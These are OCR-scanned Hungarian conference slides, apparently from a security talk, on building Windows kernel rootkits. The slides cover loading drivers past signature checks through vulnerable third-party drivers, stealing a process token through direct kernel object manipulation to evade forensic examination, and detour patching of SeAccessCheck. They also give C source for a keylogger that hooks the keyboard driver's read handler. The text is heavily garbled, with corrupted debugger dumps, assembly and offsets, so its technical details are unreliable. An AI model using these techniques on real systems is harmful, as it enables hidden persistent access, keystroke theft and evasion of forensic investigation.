kd= ab 33322020 83322020+25cC

83322020 03 00 20 00 OO QO OO OQO0-28 20 32 83 28 20 32 83 .. ..... R 00 00 00 00 00 00 =5¥STEM*........
83322030 30 20 32 33 30 20 32 83-00 e5 47 1f 00 00 00 00 O 2.0 2...G..... 00 00 00 00 00 00 7. eeiennannnas
83322040 00 00 00 00 00 00 OO0 QO0-00 00 00 00 00 00 00 00 ..o eeirnnnnnas 4c bB 26 75 20 06 ...ieeenann L.&u .
83322050 ac 20 00 00 OO QO OO0 O00-29 00 00 00 01 OO0 00 00 . ... ) 00 00 00 00 00 00 .d2.............
83322060 &0 20 32 33 60 20 32 53-00 00 OO0 OO0 QO OO OO0 OO ° 2.7 2.....i.e.. bl 60 Oe 00 OO0 00 ........u.. T
83322070 S9c 05 4c 83 9c 05 4c &3-00 00 QO OO0 01 OO0 Q0 00 ..L...Leveueunns OO0 OO0 00 00 00 00 ... t.ieeeeeennns
83322080 00 00 0O OO O3 24 00 OQO-00 OO0 OO Od 01 OO 00 0O ..... e 00 00 00 00 00 00 ... ieiennnnnnas
83322090 00 00 00 OO OO0 OO0 OO0 0QO0-ad eb 77 43 00 00 00 00 .......... wH. ... 00 00 00 00 00 00 ... ieiennnnnnas
833220a0 00 00 00 00 00 00 00 00-aa 2a 77 94 60 25 ca 01 ......... *w. H.. 00 00 01 00 00 00 poeeernennannnas
833220b0 00 00 00 OO OO OO OO OQO-00 OO0 OO0 00 44 09 00 00 ...iiiennnnn D... ed 91 ¢ 1a ed 91 <. .iiiiinainnaan
833220c0 30 0Oe 41 33 30 3e 3c 83-60 09 00 00 50 &6d 01 00 O.A.O=<. ...Pm.. 00 00 00 00 00 00 ... ieiennnnnnas
833220d0 5c 02 00 00O 70 19 00 OO0-B80 cb 01 OO0 B0 03 00 00 N...iPeeeveinnnnns 00 00 00 00 00 00 ... ieiennnnnnas
833220e0 5c 02 00 00 00 e0 bc 03-00 0 9 02 5c Oe 41 83 M..iiiivunnnn LA 00 00 00 00 00 00 ... Xiveesannnas
8332200 5c 3e 3c 33 00 00 00 00-20 fc 2d 83 90 72 ea 91 ‘><....... —alan o0 00 00 00 00 00 ..... T
83322100 23 3a e9 91 3 07 01 QO-00 OO0 OO0 OO0 OO0 OO0 OO0 00 #:i...ieiiiinininnns 00 00 00 00 00 00 ... ieiennnnnnas
83322110 00 00 00 00 00 00 OO0 QO0-00 00 00 OO0 00 00 00 00 ..o eeirnnnnnas 00 00 00 00 00 00 ... ieiennnnnnas
83322120 15 01 00 OO OO OO OO OQO-00 f5 42 £F 00 00 00 00 .......c... B....u 00 00 00 00 00 00 ... ieiennnnnnas
83322130 28 bd e9 91 00 00 &f 4a-98 d4 39 83 DD o0 00 DD Cawnns 0J..9% ..., 00 00 01 00 00 00 L. eieiennnnnnas
83322140 1c 00 00 00 04 0O OO0 QO0-00 00 00 O 000 0000 ..iiiiineinnnnnas 00 00 00 00 00 00 ... ieiennnnnnas

83322150 00 00 00 00 38 37 83 Se-00 00 00 00 00 00 00 00 00 ... ieieinnnnnnas

83322160 OO0 00 OO0 0O OO0 0O OO0 00-00 ald bf 00 00 00 00 00 00 .. iieevennnmnnns
83322170 &5 78 &5 00 OO0 OO OO0 OO0-00 OO0 00 OO I e 00 00 00 00 00 00 .. iieevennnmnnns
kd= dt _eprocess 83322020 Jken 91E93AZ0

ntd1 1! _EPROCESS

+0x000 Pch : _KPROCESS CEnsource r _TOKEN_S0URCE
+0x080 ProcessLock : _EX_PUSH_LOCK SourceName : "ESYSTEM="
+0x088 CreateTime : _LARGE_INTEGER 1z =

+0x090 Ex1tTime : _LARGE_INTEGER 0Ox0O [01] 83 '5°

+0x098 RundownProtect : _EX_RUNDOWM_REF [02] B89 "Y'

+0x09c UniqueProcessId : Ox00000944 rr 7 ‘5!

+0x0a0 ActiveProcessLinks : _LIST_ENTEF I dO' ‘T

+DKDEE QUDtaUSEEE : E3% Ow960 =

+0x0b4 QuotaPea : [3] w1970 "M

+0x0c0 CommitCharge : Ow25cC Barta Csaba et

+0x0c4 PeakVirtualsize @ O0x3bce000 oot Sourceldentifier @ _LUID
+0x0cd Virtualsize : Ow2fafooo +0x000 LowPart : 0
+0x0cc 5&5510nPrncessL1nk5 : _LIST_ENTRY [ Ox83410e5c - +0x004 HighPart : 0
+0x0d4 DebugPort (null) +0x010 TokenId : _LUID

+0x0d 3 ExcepthnPDrtData : Owd32dfced +0x000 LowPart : Ow3ef3v
+0x0d8 ExceptionPortValue : 0x832dfcel +0x004 HighPart : 0

+0x0d8 ExceptionPortState : Ow000 +0x018 AuthenticationId : _LUID

+0x0dc ObjectTable : 0x91ear7290 _HANDLE_TAEBLE +0x000 LowPart : Ox3er?
+0x0ed Token 1 _EX_FAST_REF +0x004 HighPart : 0

+0x0ed WorkingSetPage : Ox107F3 +0x020 ParentTokenId : _LUID

+0x0e8 AddressCreationLock : _EX_PUSH_LOCK +0x000 LowPart : 0

+0x0ec RotateInProgress : (null) +0x004 HighPart : 0

+0x0f0 ForkInProgress : (null) +0x028 ExpirationTime : _LARGE_INTEGER O0x&620752& b
+0x0f4 HardwareTrigger : 0O +0x000 LowPart : Oxb&dceban

+0x0f8 PhysicalVadRoot : (null) +0x004 HighPart : 102790438
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Definicio

Rootkit:
Olyan "programok" dsszessege, amelyek a "felhasznalonak"
adminisztratori hozzaferést adnak a célgepen a rendszer
"megfelel6" modositasaval

Tobbféle célt szolgalhat (neéhany példa):
Folyamatos, rejtett adminisztratori hozzaféres
Megfigyelés
Adatlopas



Rootkitek rovid torténete

Els6é generacios rootkitek (1990)

 Eredendboen modositott adminisztracios parancsok UNIX-on
* Programokat cserelnek le a rendszeren
* User modban mukoédnek

1990
Az els6 ismert rootkit /SunOS/ (Lane Davis és Steven Dake)



Rootkitek rovid torténete

Masodik generacios rootkitek (1999)
e OS fluggvényeket modositanak

o Hooking

o Patching
o User és kernel modban mikddnek

1999

ElsO rootkit Windows-ra /NT Rootkit/ (Greg Hoglund)
2003

Hacker Defender
2004

NT Illusion



Rootkitek rovid torténete

Harmadik generacios rootkitek (2004)
e ElsOsorban kernel modu rootkitek
o Kernel objektumok moédositasa (DKOM)

2004

FU rootkit (Greg Hoglund)
2005

Shadow Walker (James Butler, Sherri Sparks)
2006

FUTo (Peter Silberman)



Rootkitek rovid torténete

Negyedik generacios rootkitek (2007)
e Virtualizacios rootkitek
Az OS szempontjabol hardver szintu

2007
Bluepill project (Joanna Rutkovska)



Felhasznalodi es kernel maod
Felhasznalol mod - Ring3

Hatranyok
Minden kérées Ring3-ban szolgalodik ki
Alacsonyabb jogosultsagi szint
Nincs kézvetlen hardware elérées

ElonyOk
Szabvanyos interfeszek es fliggvények
Verziok kozott kevesebb kilonbség van
Programhibak kevesbé befolyasoljak a rendszer stabilitasat
Konnyebb implementacio és "telepités”



Felhasznaloi es kernel mod
Kernel mod - Ring0

Hatranyok
Verziok kozott jelentos kulonbséegek
Programhiba 6sszedonti az egész rendszert
Nehézkes "telepites”, bonyolultabb implementacio

Elonyok (ha sikertlt a telepites:))
Minden kérés Ring0-ban szolgalodik ki
Legmagasabb jogosultsagi szint
Kozvetlen hardware elérés
Minden vedelmi funkcio megkertlheto




Megoldando problémak
Driver betoltes

 Ahhoz, hogy a rootkit mikodokepes legyen, a kodnak be
kell jutnia a kernel tertletre (betdltes)
o A driver bet6ltéshez adminisztratori jogosultsag kell (ez a

megfelelo exploit birtokaban nem lehet problema:))
* A betdltesnek két maddja van:

1. Service Control Manager (standard, dokumentalt)

2. SystemLoadAndCalllmage (limitalt lehetésegek, nem
dokumentalt)




Megoldando problémak
Driver betbltes

Service Control Manager
 Ez a standard maddja a driver betdltesnek
e Hatranyok
o Az eventlogban és registry-ben nyomot hagy
e ElOonyok
o Nonpaged teruletere toltodik a programkod
o Nem verziofliggo

SystemLoadAndCallimage
 Nem dokumentalt funkcio
e Hatranyok
o Lapozhato tertletre toltédik be a kdd => a késobbi elérhetbésége
nem garantalt
o Verziofliggo
e Elonyo6k
o Kevesebb nyomot hagy



Megoldando problémak
Driver betdltés

Digitalis alairas
Windows Vista x64-en alairt driverek kellenek azonban...
1.Minden szamitogépen akad 3rd party driver
2.Ezek kozul sok hibas
= A hiba kihasznalhato a sajat kodunk betoltésere
3.Ha nincs hibas driver, tegytnk fel egyet, majd az abban
levo ismert hibat hasznaljuk ki :)



Megoldando problemak
Driver betdltés

Adrministrater: Command Prompt - livekd
kd> uf ~D SelalidatelmageHeader

nttSelalidatelmageHeader:

B282fd1d Shff mon
f282fdif 55 puzh
A282Fd?A Bher mnu
B282fd22 8A3d9c55798208 cmp
EEBEFdE? 7528 Jjne

ntt*SelalidatelmageHeader+@xe =

8282fd2b 68536558638 push
8282fd30 baBl push
8282fd32 6aBl push
8282fd34 eB8724ef4ff call

2282fd37 3906 moy

8282fd3b £7d8 neg
8282fd3d 1bcB zhh
0282fd3f 25efIff31 and
8282fd44 @51700068cH add
ﬁEBEFd49 eblf Jmp
nttSelalidatelmageHeader+lx2e -
8282fd4bh al?@557782 mov
0282fd50 85c0 test
ﬁZEEPdEE 7587 Jne
nttSelalidatelmageHeader+@x37 -
8282fd54 bh828A488cH mou
EEHEFdE? ebBf Jmp

nttSelalidatelmageHeader+@x3e:

= e

edi,edi

ehp

ehn_e=n

byte ptr I[ntt*g_CiEnabled <827955%9c2>1.8

nttSelalidatelmageHeader+tBx2e <8282fd4h> Branc

68586553h
i

i

ntt*ExAllocatePoolWithTagy <{82%774bah>
dword ptr [esil.eax

CEMY

EaM ., BAX

eax . IFFFFFEYh

eax, ACABABAL 7h

nttSelalidatelmageHeader+Bxdd <8282fd6a> Branc

eax,.dword ptr [nttg CiCallbacks (8279559821
BAX,BAX

nt*SelalidateImageHeader+Bxde (8282fd5h> Branc

eax, ACABAA428 1

nttSelalidateIlmageHeader+Bxdd <8282fd6a> Branc

esi

2282fd5h 56 puszh
8282fd5c ff7514 push
B282Fd5Ff £F7510 puszh
8282fd62 ff750c push
8282fde5S FF7508 puszh
8282fde8 ffdB call

ntt*SelalidateImageHeader +Bxdd:

8282fd6a

S5d

dwvord ptr
dvord ptr
dword ptr
dwvord ptr
eax

ehp

[ebp+i4h]
[ebp+1@h]
[ebp+HCh]
[ebp+81]



Megoldando problémak
Verziofliggoséeg

A kernel belsO adatszerkezetei akar service packenként is
valtozhatnak:

o optimalizalas

* hibajavitas

» U] funkciok bevezetese

A kernelen belll a driverek szamara elerhetd API valtozik:

e U] fuggvények jelennek meg

o egyes fuggvenyek megszinnek

» egyes flggvények paraméterezése megvaltozik

=> A régebbi verzon mikodo kod az uj verzion be sem toltodik,
vagy "kéekhalalt" okoz



Megoldando problémak

Verziofliggoseg

o CHWINDOWS system32' cmd.exe - livekd

kd> dt _eyp
ntdll?_EPE

o CHWINDOWS' system32hcmd.exe - livekd

+HxA0A
+HxB6c
+HxBA78
+HxA/8
+HxA8A
+Hx84
THxHHH
+AxA98
+HxB9c
+BxHa8
+HxBac
+BxBhA
+HBxBh4
+HBxBhc
+BxHAcA
+HxBc4d
+BxBAch
+HUxHcc
+BxBec
+AxAfA
+Hx118
+Ax114
+HAx118
+Ax11c
+H@x1 28
+Hx124
+Ax128
+HAx12c
+Hx138
+Hx134
+Hx138
+Bx13c
+Hx148
+Hx144
+Hx148

+Bx14c

ald--4 C T3

n tdlé? EEEHT Administrator: C:\Windows\system32
+Bx
:Eiggg Eﬁﬂfjﬁ BN Administrator: Command Prompt - livekd
+AxH8 8 +B@x@88 [kd> dt _eprocess
+AxA9@ +AxHB8A |ntt _ FEPROCESS
+@x@9 4 +@x@88 +AxAAA Pch - _KPROCESS
+AxAT8 +HxH708 +Bx@98 ProceszLock : _E¥X_PUSH_LOCK
+AxBal +AxAT 8 +Bx@aB@ CreateTime : _LARGE_INTEGER
+B@xBac +ax@?c +AxAa8 ExitTime - _LARGE_INTEGER
+AxAhLA +HxHal +BxBh8 RundownProtect = _EX_RUNDOWN_REF
+AxAhc +BxHBab +Bx@b4 UnigqueProcessId = Ptr32 Void
+AxBAcA +Bx@h4 +HxMh8 ActiveProcessLinks @ _LIST_ENTRY
+@AxBc 4 +@xAcA +AxBcl ProcessQuotallsage = [2]1 Uint4B
+AxBcc +BxBc4d +HxBc8 ProcessQuotaPeak = [2]1 Uint4B
+AxAd8 +HxHc B +AxBAdB CommitCharge : Uint4B
+@x@Ad4d +BxHcc +BxBd4 QuotaBlock : Ptp32 _EPROCESS_QUOTA_BLOCK
+AxAd8 +HxBd4 +AxAd8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+WxHdc +BxHAdB +BxBdc PeaklUirtualSize : Uint4B
+AxAed +HxHAd8 +BxBeB UirtualSize = Uint4B
+Ax186 +AxAd 8 +BxPBe4 SesszionProcessLinks : _LIST_ENTRY
+Ax1 84 +BxHdc +BxBec DebugPort : Ptr32 Uoid
+Ax108 +HxHed +AxBfA ExceptionPortData : Ptr32 Uoid
+AxlBAc +Hxe 1 +AxBf A3 ExceptionPortUalue : Uint4B
+Ax11iB +AxHel +A@xAfB ExceptionPortState : Pos B, 3 Bits
+Ax114 +AxHec +Ax8f4 ObjectTable : Pt»32 HAWDLE_TABLE
+Ax118 +AxBf +BxBf8 Token : _EX_FAST_REF
+Bxllc +AxBf 4 +UxMWlc WorkingSetPage : Uint4H
+Ax1 2?8 +AxHf 8 +Bx188 AddressCreationLock : _EX_PUSH_LOCK
+Axl24 +BxBfc +Ax184 RotatelnProgress : Ptr32 _ETHREAD
+Bx128 +Bx1 88 +Bx188 ForkInProgress : Ptr32 _ETHREAD
+Bxl?c +Ax184 +Bx18c HardwareTrigger = Uint4B
+Ax138 +Ax188 +Ax118 PhysicalladRoot = Ptr32 _MM_AUL_TABLE
+Ax134 +Ax18c +Ax114 CloneRoot : Ptr2? Uoid
+Ax138 +@x118 +Bx118 MumberOfPrivatePages : Uint4B
+Ax13c +Bx114 +Bx11c HumberOfLockedPages : Uint4B
A A A +Ax118 | +A8x128 VinI?Process : Ptr3? Upid




Megoldandod problémak
Programhibak

Egy esetleges programhiba, kezeletelen kivetel kekhalalhoz
vezet Ring0-ban

e Ez rootkitek eseteben fokozottan igaz!!!!

A debuggolasra két modszer hasznalhato:

* DbgPrint (dbgviewer)

« Kernel debuggolas (kd, vagy windbg)



Megoldando problémak
Programhibak

A problem has been detected and windows has been shut down to prevent damage
TO your computer.

REFEREMCE_BY_POINTER

If this is the first time you've seen this Stop error screen,
restart wour computer. IT this screen appears again, Tollow
These steps:

_heck to make sure any new hardware or software 1= properly installed.
If this is a new installation, ask wour hardware or software manufacturer
for any windows updates wou might need.

If problems continue, disable or remove any newly installed hardware
or software. Disable BIOS memory options such as caching or shadowing.
It wou need to use Safe Mode to remove or disable components, restart
WOUPr COmputer, press F8 to select advanced Startup options, and then
zelect safe mode.

Technical information:

wEH STOP: Ox00000018 (OxBADOBOBEQ, OxS1DZ8%10, 0x00000002, OXFFFFFFFF )

Collecting data for crash dump ...
Initializing disk for crash dump ...
Beginning dump of physical memory.
oumping physical memary ta disk: 30



Technikak
DKOM

A kernel altal kezelt objektumok kdzvetlen modositasa

Objektumok, amelyeket modositani szoktak:
* Eeprocess

e ethread

e token

o driver
Hatranyok

* Erosen verziofliggo

* Az objektum modositasa befolyasolja a rendszer stabilitasat
Elonyok

 Nem valtozik kernelkod

« A modositasokat nehéz észrevenni



Technikak
DKOM

_TOKEN_SOURCE

kd> dt _token
nt?_TOKEN
+HxHUHA TokenSource

+AxA18 Tokenld _LUID
+AxH18 Authenticationld _LUID
+OxHl2H0 ParentTokenld _LUID

_LARGE_INTEGER
Ptr32 _ERESOURCE

+Axl28 ExpirationTime
+AxBA38 TokenLock

+AxA34 ModifiedId _LUID

+AxB48 Privileges _SEP_TOKEN_PRIUILEGES
+AxBA58 AuditPolicy _SEP_AUDIT_POLICY
+AxHl?4 Sessionld Uint4B

+Axl@78 UserAndGroupCount = Uint4dB

+AxB7c RestrictedSidCount : Uint4B
+AxA8A@ UariablelLength : Uint4B
+AxB84 DynamicCharged : Uint4B
+AxA88 DynamicAvailable = Uint4B

+HxA8c DefaultOunerindex : Uint4dB
+BxB28 UserAndGroups Ptr32 _SID_AND_ATTRIBUTES
+AxA94 BRestrictedSids Ptr»32 _SID_AMD_ATTRIBUTES

+Axl?8 PrimaryGroup : Ptr32 Uoid

+BxB9c DynamicPart : Ptr32 Uint4B

+AxBal DefaultDacl = Pt»32 _ACL

+BxBad TokenType : _TOKEN_TYPE

+AxBad ImpersonationLevel : _SECURITY_IMPERSOMATION_LEUVEL
+BxHac TokenFlags : Uint4B

+AxBbHd TokenlInlse : UChar

+AxHbhd IntegrityLevellndex = Uint4B
+BxA@b8 MandatoryPolicy = Uint4B

+BxBbc LogonSession : Ptr32 _SEP_LOGOM_SESSION_REFERENCES
+AxBcHl OriginatingLogonSession = _LUID
+HxBc8 SidHash : _SID_AND_ATTRIBUTES_HASH

+Bx158 ReztrictedSidHazh = _SID_AND_ATTRIBUTES_HASH
+Ax1d8 pSecurityfAttributes = Ptr32 _AUTHZBASEP_SECURITY_ATTRIBUTES _INFORMATIO

+Hx1dc VariabhlePart : Uint4B



Technikak
DKOM

v

dword ptr [edi]
esi, ds:PsGetCurrentProcessid
esi ; PsGetCurrentProcessId

eax
cnh 11 ag

push ehp

mov ebp, esp

sub esp, 198h

mouv eax, dword 223A8
xor eax, ebp

mov [ebp+var 4], eaX
ds:PsGetCurrentProcessi push ebx

eax mov ebx, [ebp+arg 4]
5“']_1135”1- pugh esi

eax, edli push edi
short loc_122%58 . esi, esi
| push ebx

push offset aSourceProcessi ; "Source processid: Zdyn™
mov [ebp+0bject], esi
mov [ebp+var 114], esi
mov [ebp+Handle], esi
mou [ebp+HewTokenHandle], esi
mov [ebp+var 18C], esi
call DbgPrint
mov eax, ds:PsProcessType




Technikak
DKOM - Példa

Avagy hogyan verjunk at egy feltletes forensic vizsgalatot...:)

A legtobb rendszergazda szereti a parancssort (cmd.exe)

— Ez altalaban rendszergazdai jogokkal fut

— Lopjuk el a tokent

— Inditsuk a parancsainkat az 0 parancssoranak a nevében



kd= ab 33322020 83322020+25cC

83322020 03 00 20 00 Q0 OO0 QD OQ0Q-28 20 32 83 28 20 32 83 .. . es (2.0 2. 00 00 00 00 00D 00 =5YSTEM™ . . veeews
83322030 30 20 32 83 30 20 32 83-00 e5 47 AfF QO QO QO OO O 2.0 2...G..... OO0 00 00 00 DD 00 7. rieerennnnnsns
83322040 00 00 Q0D OO0 Q0 OO0 Q0 QO0-00 00 OO0 OO0 00D OO0 0D 00 ... evvwcsnnnnnns 4c be 26 75 20 06 ....evnnnn L.&u .
83322050 ac 20 00 00 OO0 OO0 OO OQO0-29 00 00 OO0 O1 OO0 00 00 . oeews ) . 00 00 OO0 00 00 00 .dZ....c.irunnnan
83322080 &0 20 32 83 60 20 32 83-00 OO0 Q0 OO0 QO OO0 QD OO0 ~ 2.  Z.i.ieeeeas bl 60 Oe 00 OO0 Q00 .....ccevuue R
83322070 9C 05 4c 83 9C 05 4c B3-00 00 OO0 OO0 O1 OO0 OD 00 ..L...Llevevnuwwns 00 00 OO0 00 00 0D ... i.ieeevanmnas
83322080 00 00 OO0 0O O3 24 00 QO-00 OO0 Q0O Od 01 OO QO OO ..... . OO0 00 00 00 DD 00 .. ieevennnnnsns
83322090 00 00 OO0 Q0O OO OO OO0 OQO0-ad eb 77 48 00 OO0 QD OO0 ......c.u. wH. « .. OO0 00 00 00 DD 00 .. ieevennnnnsns
833220a0 00 00 Q0 OO0 QD 00 Q0D 00-aa 2a 77 94 60 25 ca 0l ...iinwnn w. %.. OO0 00 0L 00 00D 00 pPeveessssnnnnsns
833220b0 OO0 00 OO0 QOO OO0 QO OO0 QO-00 OO0 QO OO0 44 09 0D 00 ....veeennas D... ed 91 0 1la ed 91 <. ivevcrnnnnran
833220c0 30 Oe 41 83 30 3e 3c 83-60 09 00 OO0 50 6d 01 00 O.A.Ox<. ...Pm.. OO0 00 00 00 DD 00 .. ieevennnnnsns
833220d0 5c 02 00 0O 70 19 00 Q0-80 cb 01 OO0 80 O3 0D OO0 MN...Peecveancnas OO0 00 00 00 DD 00 .. ieevennnnnsns
833220e0 5c 02 00 00 00 e0 bc 03-00 0 9 02 5c Oe 41 83 M. rvienrnns oA OO0 00 00 00 DD 00 ... Xieeonnnnsnn
833220f0 5c 3e 3c 83 00 OO0 OO0 Q0-e0d fc 2d 83 90 72 ea 91 ‘><iu.uww. el 00 00 00 00 00 0D ... e w e
83322100 23 3a e9 91 3 07 01 Q0-00 OO0 QOO0 OO0 QO OO0 QD OO0 #:....civeenenas OO0 00 00 00 DD 00 .. ieevennnnnsns
83322110 00 00 Q00 00 00 00 00 O00-00 00 00 00 DD I OO0 00 00 00 DD 00 .. ieevennnnnsns
83322120 15 01 00 0O OO0 QO OO QO-00 f5 42 ff OO OO QO OO0 ..........B..... OO0 00 00 00 DD 00 .. ieevennnnnsns
83322130 28 bd =9 91 00 00 &f 4a-98 O 00 0L 00 DD 00 .. ieevennnmnnns
83322140 1c 00 00 OO0 04 OO0 00 O0-00 L L T 1
83322150 00 00 00 00 38 37 83 8e-00 O 00 00 00 00 00 ... ieevennnmnnns
83322160 00 OO0 OO OO0 OO OO0 OO0 00-00 O 00 00 00 00 00 ... ieevennnmnnns
83322170 65 78 65 00 00 OO0 OO0 0O0-00 O 00 00 00 00 00 ... ieevennnmnnns
kd§1?t _eprocess 83322020 93A20
nt | _EPROCESS I A A

+0x000 Pch : _KPROCE Hamarosan Vldeo formaban e _TOKEN_S0OURCE

+0x080 ProcessLock : _EX_PUS http //hackt|V|ty hu ame : "ESYSTEM*"

+0x088 CreateTime v _LARGE_imicubn uxicaliow =Z4rs = (I -

+0x090 Ex1tTime : _LARGE_INTEGER 0Ox0O :Dl: 83 's’

+0x098 RundownProtect : _EX_RUNDOWM_REF [02] 89 'Y’

+0x09c UniqueProcessId : Ox00000944 (03] 83 '5°

+0x0ald ActiveProcessLinks : _LIST_ENTRY [ 0Ox&3410e30 - 0 [04] 84 'TT

+0x0ad Quotalsage : [3] Ow960 05] 689 'E’

+0x0b4 QuotaPeak : [3] w1970 [06] 77 "M’

+0x0c0 CommitCharge : Ow25cC [07] 42 '="

+0x0c4 PeakVirtualsize @ O0x3bce000 +0x008 Sourceldentifier : _LUID

+0x0cd Virtualsize : Ow2fafooo +0x000 LowPart : 0

+0x0cc 5&5510nPrncessL1nk5 : _LIST_ENTRY [ Ox83410e5c - +0x004 HighPart : 0

+0x0d4 DebugPort (null) +0x010 TokenId : _LUID

+0x0d 3 ExcepthnPDrtData : Owd32dfced +0x000 LowPart : Ow3ef3v

+0x0d8 ExceptionPortValue : 0x832dfcel +0x004 HighPart : 0

+0x0d8 ExceptionPortState : Ow000 +0x018 AuthenticationId : _LUID

+0x0dc ObjectTable : 0x91ear7290 _HANDLE_TAEBLE +0x000 LowPart : Ox3er?

+0x0ed Token 1 _EX_FAST_REF +0x004 HighPart : 0

+0x0ed WorkingSetPage : Ox107F3 +0x020 ParentTokenId : _LUID

+0x0e8 AddressCreationLock : _EX_PUSH_LOCK +0x000 LowPart : 0

+0x0ec RotateInProgress : (null) +0x004 HighPart : 0

+0x0f0 ForkInProgress : (null) +0x028 ExpirationTime : _LARGE_INTEGER O0x&620752& b

+0x0f4 HardwareTrigger : 0O +0x000 LowPart : Oxb&dceban

+0x0f8 PhysicalVadRoot : (null) +0x004 HighPart : 102790438
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Hooking, patching

Patching:
A memariaban, vagy a lemezen levo kod modositasa ugy, hogy
az bizonyos esetekben neklink kedvez6 modon viselkedjen

Példa:
JO pelda lehet, az 6sszes "crackme", ahol a regisztracios kodot

ellendrzo eljarasokat kell modositani
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Hooking, patching

Detour patching
e Eljards memariaban levo kodjanak modositasa
o Egy részet felllirja egy jmp utasitassal
o A vezérlést egy altalunk irt kodot tartalmazo terlletre
iranyitjuk
o Az altalunk irt kod végrehajtasa

o Lefut a mi kddunk
o Lefuttatja a felllirt utasitasokat (konzisztencia)

o Visszaadja a vezeérlést eredeti figgvényre
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Detour patching példa:
nt!SeAccessCheck
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Hooking, patching

Detour patching példa:

nt!SeAccessCheck
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Hooking:
 Flggvenymutatokat modosit
» Atiranyitja a vezérlést a mi altalunk kontrollalt tertletre

Hol talalhatok fiiggvény mutatok

e |AT (Import Address Table)

o« SSDT (System Service Dispatch Table)
e |IDT (Interrupt Descriptor Table)

e Driver objektum
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Hooking, patching - Példa

IRP Hooking

e A driverek alapvetben IRP-ben érkez0 kéréseket szolgalnak
ki

 Ehhez szikség van a megfelelo IRP handlerekre

* Az IRP handler futdsidoben lecserelheto

Hogyan mukddik a keyboard loggerem

« Keyboard device megkeresése

* A device-hoz tartozo driver megkeresese
* A megfelelo IRP handler hookolasa




NTSTATUS HookKeyboard()

1

Technikak

NTSTATUS ntStatus; Gle Vew Search [ds Help

DeviceTree ¥2.20 - Driver ¥iew - 0SR's Device and Driver Explorer

UNICODE_STRING usDevice;
WCHAR wcDevice[] = L"\\Device\\KeyboardClass@"; j%%lj?] rifljij

= DAY \Driverikbdclass
pfileKeyboard = NULL; - DEY ‘\Device\Kevboardlass1
pﬂi:ﬁgygﬂarg : ;UEEFLJ - DEY \Device\KevboardClasso
P yboard = ! DRY 'DriverikSecDD
//Find the device DBRY ‘\Driver\LGTO_Sync
RtlInitUnicode5String (&usDevice, wcDevice);
ntstatus = IoGetDeviceObjectPointer|

GusDevice,

FILE READ DATA,

apfilekeyboard,
apdevkeyboard

I

if( 'NT _SUCCESS(ntStatus)){
DbgPrint{"Error: S0Bx\n", nt5tatus);
return ntstatus;

}

f/Find the driver
pdrvKeyboard = pdevKeyboard-=DriverObject;

{/Hook the IRP handler
01ldIrpMjDeviceControl = pdrvKeyboard-=MajorFunction[IRP_M1 READ];
if (01dIrpMjDeviceControl)
InterlockedExchange(
(PLONG) &pdrvKeyboard-=MajorFunction[IRP_M] READ],
(LONG)DispatchRead

¥
return STATUS SUCCESS;

Crriver Mame:
Load &ddress:
Criver Size:
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d>* dt —vbh _driver_obhject 84achaBBkd> dt —vbh _driver_object B4achadid
alt_DRIUVER_OBJECT al?_DRIUVER_OBJECT
truct _DRIUVER_OBJECT. 15 elementsstruct _DRIUER_OBJECT,. 15 elementz, BxaB bytes

+Ax808 Type : 4 +AxA0A Type t 4
+AxBB2 Size : 168 +Ax@AB2 Size t 168
+AxB04 DeviceObject : Bx84 +AxAl4 Devicelbject : Bx84h39e28
+AxB08 Flags T Bx12 +AxAl8 Flags : Bxl2
+AxB@c DriverStart : Bx8h3 +BxBB8c DriverStart : Bx8h3b48004
+AxB18 DriverSize : Bxdd +AxA18 DriverSize @ Bxdd@n
+AxB14 DriverSection : HBx84 +Ax@14 DriverSection : BxB4abf538
+HxH18 DriverExtenszion : Bx84 +Ax@18 DriverExtension - BxB4acbaal
+Hxlic DriverMame : struc +dxl@1ic DriverMame : struct _UNICODE_STRING. 3 elements
"“JDriver~khdclass" "“JJDriver<khdclass"
+Ax@88 Length : Hx +AxBBAA Length : Bx28
+AxB82 MaximumLength : Bx +AxB@A2 MaximumLength : Bx28
+HxHB4 Buffer : Bx +dUxHB4 Buffer : BxB84abdf58 ‘“Driverskhdclass'
+ixH24 HardwareDatahbhase : BxB29 +AxB24 HardwareDatabasze - BxB29hf258
+AxB28 FastloDispatch : ‘null +AxB28 FastloDispatch : Cnull>
+HxB2c DriverlInit : Bx8h3 +UxB2c Driverlnit : BxB8Bbh3bd2f2
+HxA380 DriverStartlo : <null +AxBA38 DriverStartlo : Cnulld
+HxH34 DriverlUnload : <null +BxBA34 Driverlnload : Cnulld
+AxB38 MajorFunction : (28 e +AxA38 MajorFunction : 28 elements>
[AA]1 Bx8h3bhoABA [BA]1 Bx8bh3bhoHBA
[A1]1 Bx82786437% [A1]1 Ox82780643%
A2 1 AxAh3Ihha?94 [B2]1 Bx8h3ibh6294
[A3]1 Bx8bh3b7Hba [B3]1 Bx?H15d6c2
LH11 Wxsd 7 HMed3Y LWd 1 WxsdLVYHed3Y
[A5]1 Bx82786437% [A5]1 Ox82706437
[A6]1 Bx827A6437% [B6]1 Bx82706437%
[A7]1 Bx82786437% [A7]1 Bx82786437%
[A8]1 Bx827H6437 [A8]1 Bx827806437%
[A?]1 BxBh3h5E78 [32]1 Bx8h3h5£78
[18]1 Bx827H643% [18]1 Bx8278643%
[11]1 Bx827H643% [11]1 Bx8278643%
[12]1 Bx827H643% [12]1 Bx8278643%
[13]1 Bx827H6437 [13]1 Bx8278643%
[14]1 BxB8h3bacl2 [14]1 Bx8bh3bac22
[15]1 Bx8h3badc2 [15] Bx8b3ba3c2
[16]1 Bx827H643% [16]1 Bx8278643%
[17]1 Bx827H6437% [17]1 Bx82780643%
[18]1 BxBh3hS6cH [18]1 Bx8h3h56cH
[1?]1 Bx827H643% [1?]1 Bx8278643%
[2B]1 Bx827H6437% [28]1 Bx8278643%
[21]1 Bx8278643% [21]1 Bx8278643%
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Elonyok:
 Minden memariaban levo kod modosithato
e JO iImplementacio eseten nehezen detektalhato

Hatranyok:
o Eros verziofliggés
« Befolyasolja a rendszer stabilitasat



kd= ab 33322020 83322020+25cC

83322020 03 00 20 00 Q0 OO0 QD OQ0Q-28 20 32 83 28 20 32 83 .. . es (2.0 2. 00 00 00 00 00D 00 =5YSTEM™ . . veeews
83322030 30 20 32 83 30 20 32 83-00 e5 47 AfF QO QO QO OO O 2.0 2...G..... OO0 00 00 00 DD 00 7. rieerennnnnsns
83322040 00 00 Q0D OO0 Q0 OO0 Q0 QO0-00 00 OO0 OO0 00D OO0 0D 00 ... evvwcsnnnnnns 4c be 26 75 20 06 ....evnnnn L.&u .
